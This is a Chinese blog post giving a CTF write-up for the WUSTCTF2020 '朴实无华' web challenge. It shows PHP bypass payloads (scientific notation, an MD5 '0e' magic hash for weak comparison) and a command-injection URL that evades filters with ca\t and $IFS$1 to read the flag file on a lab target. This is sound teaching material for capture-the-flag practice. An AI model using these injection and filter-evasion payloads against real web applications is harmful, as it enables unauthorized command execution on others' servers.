[WUSTCTF2020]朴实无华

本文详细记录了参与WUSTCTF2020挑战的过程,从发现隐藏目录到通过代码审计解决不同级别的安全问题,包括利用科学计数法、弱类型比较及命令注入等技巧获取flag。同时,文章还介绍了如何在火狐浏览器中修复乱码问题。
摘要由CSDN通过智能技术生成

[WUSTCTF2020]朴实无华

打开靶机:
在这里插入图片描述访问/var/www/html/index.php无果,试试robots.txt,得到/fAke_f1agggg.php目录。

在这里插入图片描述访问该目录提示flag不在该目录下,F12网络请求中给了/fl4g.php目录。

在这里插入图片描述
访问/fl4g.php目录,进行代码审计(火狐浏览器修复乱码:菜单->更多工具->定制工具栏->将修复文字编码小工具移到工具标签栏):

在这里插入图片描述level1:使用科学计数法

num=20e3

绕过num小于2020且num+1大于2021(20<2020&&20001>2021)

level2:弱类型比较可以绕过

num=20e3&md5=0e215962017
//md5(0e215962017)=0e291242476940776845150308577824
//弱类型比较:0=0

level3:cmd查看目录

num=20e3&md5=0e215962017&get_flag=ls

在这里插入图片描述使用ca\t绕过cat,使用$IFS$1绕过空格:

/fl4g.php?num=20e3&md5=0e215962017&get_flag=ca\t$IFS$1fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

获取flag:

在这里插入图片描述

引用:
如何修复火狐浏览器的乱码问题(最新版)

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值